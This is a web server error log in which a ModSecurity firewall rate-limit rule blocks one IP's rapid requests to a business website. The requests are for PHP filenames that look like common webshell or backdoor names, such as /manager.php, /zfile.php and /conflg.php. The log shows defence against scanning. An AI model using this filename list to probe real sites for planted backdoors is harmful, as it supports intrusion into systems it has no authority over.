[Thu Jan 08 23:26:44.436591 2026] [:error] [pid 2424:tid 2437] [client 74.225.203.54:31017] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aV_MtLTDJR8aofkBk9RMjgAAAQs"]
[Thu Jan 08 23:26:44.802873 2026] [:error] [pid 7586:tid 7614] [client 74.225.203.54:46327] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aV_MtMJyk37GdXP5TmWGLwAAAdg"]
[Thu Jan 08 23:26:45.166844 2026] [:error] [pid 15358:tid 15376] [client 74.225.203.54:46230] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aV_MtSoRk9xWJ3toSBKb-AAAAMY"]
[Thu Jan 08 23:26:45.465924 2026] [:error] [pid 7586:tid 7607] [client 74.225.203.54:18435] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aV_MtcJyk37GdXP5TmWGMAAAAdE"]
[Thu Jan 08 23:26:45.918238 2026] [:error] [pid 2484:tid 2503] [client 74.225.203.54:46259] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aV_MtTiDlnlaQQK_AEO0tAAAAU8"]
[Thu Jan 08 23:26:46.363027 2026] [:error] [pid 15265:tid 15330] [client 74.225.203.54:30970] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV_MtqE6VBKhew2LTFRmMwAAAIQ"]
[Thu Jan 08 23:26:46.654461 2026] [:error] [pid 7586:tid 7605] [client 74.225.203.54:30939] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV_MtsJyk37GdXP5TmWGMgAAAc8"]
[Thu Jan 08 23:26:47.025170 2026] [:error] [pid 15263:tid 15293] [client 74.225.203.54:18687] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV_Mt9v61bxum7WG_e8cYAAAABU"]
[Thu Jan 08 23:26:47.456090 2026] [:error] [pid 7586:tid 7608] [client 74.225.203.54:31032] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV_Mt8Jyk37GdXP5TmWGNAAAAdI"]
[Thu Jan 08 23:26:47.859989 2026] [:error] [pid 2424:tid 2433] [client 74.225.203.54:46220] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aV_Mt7TDJR8aofkBk9RMjwAAAQc"]
[Thu Jan 08 23:26:48.453661 2026] [:error] [pid 15264:tid 15299] [client 74.225.203.54:31011] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aV_MuIov6_kvS0Owh-op5wAAAEA"]
[Thu Jan 08 23:26:48.811060 2026] [:error] [pid 17404:tid 17414] [client 74.225.203.54:30946] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aV_MuGVd_oH193N6AnXZLAAAAYg"]
[Thu Jan 08 23:26:49.197827 2026] [:error] [pid 2484:tid 2506] [client 74.225.203.54:30994] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aV_MuTiDlnlaQQK_AEO0tgAAAVI"]
[Thu Jan 08 23:26:49.555964 2026] [:error] [pid 15265:tid 15326] [client 74.225.203.54:30924] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aV_MuaE6VBKhew2LTFRmNAAAAIA"]
[Thu Jan 08 23:26:49.971926 2026] [:error] [pid 15264:tid 15303] [client 74.225.203.54:31005] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aV_MuYov6_kvS0Owh-op6AAAAEQ"]
[Thu Jan 08 23:26:50.293912 2026] [:error] [pid 2484:tid 2509] [client 74.225.203.54:18455] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aV_MujiDlnlaQQK_AEO0twAAAVU"]
[Thu Jan 08 23:26:50.643241 2026] [:error] [pid 7586:tid 7592] [client 74.225.203.54:46246] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aV_MusJyk37GdXP5TmWGNQAAAcQ"]
[Thu Jan 08 23:26:51.169374 2026] [:error] [pid 7586:tid 7613] [client 74.225.203.54:30944] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aV_Mu8Jyk37GdXP5TmWGNgAAAdc"]
[Thu Jan 08 23:26:51.528998 2026] [:error] [pid 2424:tid 2429] [client 74.225.203.54:30913] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aV_Mu7TDJR8aofkBk9RMkAAAAQM"]
[Thu Jan 08 23:26:51.827892 2026] [:error] [pid 2424:tid 2443] [client 74.225.203.54:30985] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aV_Mu7TDJR8aofkBk9RMkgAAARE"]
[Thu Jan 08 23:26:52.163793 2026] [:error] [pid 15263:tid 15278] [client 74.225.203.54:31029] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aV_MvNv61bxum7WG_e8cYwAAAAY"]
[Thu Jan 08 23:26:52.586678 2026] [:error] [pid 2424:tid 2440] [client 74.225.203.54:30968] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aV_MvLTDJR8aofkBk9RMlAAAAQ4"]
[Thu Jan 08 23:26:52.883909 2026] [:error] [pid 15264:tid 15317] [client 74.225.203.54:30933] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aV_MvIov6_kvS0Owh-op6wAAAFI"]
[Thu Jan 08 23:26:53.412618 2026] [:error] [pid 15263:tid 15280] [client 74.225.203.54:30951] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aV_Mvdv61bxum7WG_e8cZQAAAAg"]
[Thu Jan 08 23:26:53.781270 2026] [:error] [pid 15263:tid 15287] [client 74.225.203.54:46306] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aV_Mvdv61bxum7WG_e8cZgAAAA8"]
[Thu Jan 08 23:26:57.992185 2026] [:error] [pid 15263:tid 15277] [client 74.225.203.54:30963] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV_Mwdv61bxum7WG_e8cdAAAAAU"]
[Thu Jan 08 23:26:58.278641 2026] [:error] [pid 7586:tid 7597] [client 74.225.203.54:30922] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV_MwsJyk37GdXP5TmWGPAAAAck"]
[Thu Jan 08 23:26:58.601786 2026] [:error] [pid 15264:tid 15318] [client 74.225.203.54:30958] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV_Mwoov6_kvS0Owh-oqAAAAAFM"]
[Thu Jan 08 23:26:58.873158 2026] [:error] [pid 7586:tid 7614] [client 74.225.203.54:18671] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV_MwsJyk37GdXP5TmWGPQAAAdg"]
[Thu Jan 08 23:26:59.256312 2026] [:error] [pid 2424:tid 2434] [client 74.225.203.54:31001] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aV_Mw7TDJR8aofkBk9RMmgAAAQg"]
[Thu Jan 08 23:26:59.536508 2026] [:error] [pid 2484:tid 2487] [client 74.225.203.54:46211] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aV_MwziDlnlaQQK_AEO0uQAAAUE"]
[Thu Jan 08 23:26:59.913114 2026] [:error] [pid 2484:tid 2498] [client 74.225.203.54:18633] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aV_MwziDlnlaQQK_AEO0ugAAAUs"]
[Thu Jan 08 23:27:00.491062 2026] [:error] [pid 2484:tid 2510] [client 74.225.203.54:30952] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aV_MxDiDlnlaQQK_AEO0vQAAAVY"]
[Thu Jan 08 23:27:00.798358 2026] [:error] [pid 17404:tid 17419] [client 74.225.203.54:30925] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aV_MxGVd_oH193N6AnXZLwAAAY0"]
[Thu Jan 08 23:27:01.169186 2026] [:error] [pid 17404:tid 17430] [client 74.225.203.54:30993] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aV_MxWVd_oH193N6AnXZMAAAAZg"]
[Thu Jan 08 23:27:01.501839 2026] [:error] [pid 15358:tid 15384] [client 74.225.203.54:46208] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aV_MxSoRk9xWJ3toSBKb-gAAAM4"]
[Thu Jan 08 23:27:01.888726 2026] [:error] [pid 2484:tid 2504] [client 74.225.203.54:46286] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aV_MxTiDlnlaQQK_AEO0vwAAAVA"]
[Thu Jan 08 23:27:02.265463 2026] [:error] [pid 2424:tid 2438] [client 74.225.203.54:46209] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_MxrTDJR8aofkBk9RMnAAAAQw"]
[Thu Jan 08 23:27:02.613579 2026] [:error] [pid 2424:tid 2448] [client 74.225.203.54:30948] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_MxrTDJR8aofkBk9RMngAAARY"]
[Thu Jan 08 23:27:02.918046 2026] [:error] [pid 2424:tid 2450] [client 74.225.203.54:18461] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_MxrTDJR8aofkBk9RMnwAAARg"]
[Thu Jan 08 23:27:03.285599 2026] [:error] [pid 15265:tid 15329] [client 74.225.203.54:31010] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_Mx6E6VBKhew2LTFRmOQAAAIM"]
[Thu Jan 08 23:27:03.654236 2026] [:error] [pid 17404:tid 17424] [client 74.225.203.54:46285] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aV_Mx2Vd_oH193N6AnXZMgAAAZI"]
[Thu Jan 08 23:27:04.128796 2026] [:error] [pid 2484:tid 2512] [client 74.225.203.54:46301] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aV_MyDiDlnlaQQK_AEO0wAAAAVg"]
[Thu Jan 08 23:27:04.479709 2026] [:error] [pid 2484:tid 2496] [client 74.225.203.54:46232] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aV_MyDiDlnlaQQK_AEO0wgAAAUk"]
[Thu Jan 08 23:27:04.883626 2026] [:error] [pid 2484:tid 2497] [client 74.225.203.54:30928] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aV_MyDiDlnlaQQK_AEO0wwAAAUo"]
[Thu Jan 08 23:27:05.286771 2026] [:error] [pid 2484:tid 2503] [client 74.225.203.54:46316] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aV_MyTiDlnlaQQK_AEO0xQAAAU8"]
[Thu Jan 08 23:27:05.684604 2026] [:error] [pid 15265:tid 15327] [client 74.225.203.54:46319] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aV_MyaE6VBKhew2LTFRmPAAAAIE"]
[Thu Jan 08 23:27:06.150156 2026] [:error] [pid 15263:tid 15287] [client 74.225.203.54:18630] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aV_Mytv61bxum7WG_e8ceQAAAA8"]
[Thu Jan 08 23:27:06.540703 2026] [:error] [pid 2424:tid 2444] [client 74.225.203.54:30992] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aV_MyrTDJR8aofkBk9RMoQAAARI"]
[Thu Jan 08 23:27:07.066619 2026] [:error] [pid 15265:tid 15339] [client 74.225.203.54:30965] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV_My6E6VBKhew2LTFRmPwAAAI0"]
[Thu Jan 08 23:27:07.501042 2026] [:error] [pid 7586:tid 7604] [client 74.225.203.54:46231] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV_My8Jyk37GdXP5TmWGQwAAAc4"]
[Thu Jan 08 23:27:08.011664 2026] [:error] [pid 2424:tid 2427] [client 74.225.203.54:30916] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV_MzLTDJR8aofkBk9RMpAAAAQE"]
[Thu Jan 08 23:27:08.432003 2026] [:error] [pid 2424:tid 2441] [client 74.225.203.54:30973] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV_MzLTDJR8aofkBk9RMqAAAAQ8"]
[Thu Jan 08 23:27:08.742872 2026] [:error] [pid 15264:tid 15306] [client 74.225.203.54:30923] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aV_MzIov6_kvS0Owh-oqCAAAAEc"]
[Thu Jan 08 23:27:09.265363 2026] [:error] [pid 15263:tid 15279] [client 74.225.203.54:46314] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aV_Mzdv61bxum7WG_e8cfQAAAAc"]
[Thu Jan 08 23:27:09.744709 2026] [:error] [pid 15263:tid 15272] [client 74.225.203.54:46213] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aV_Mzdv61bxum7WG_e8cfgAAAAA"]
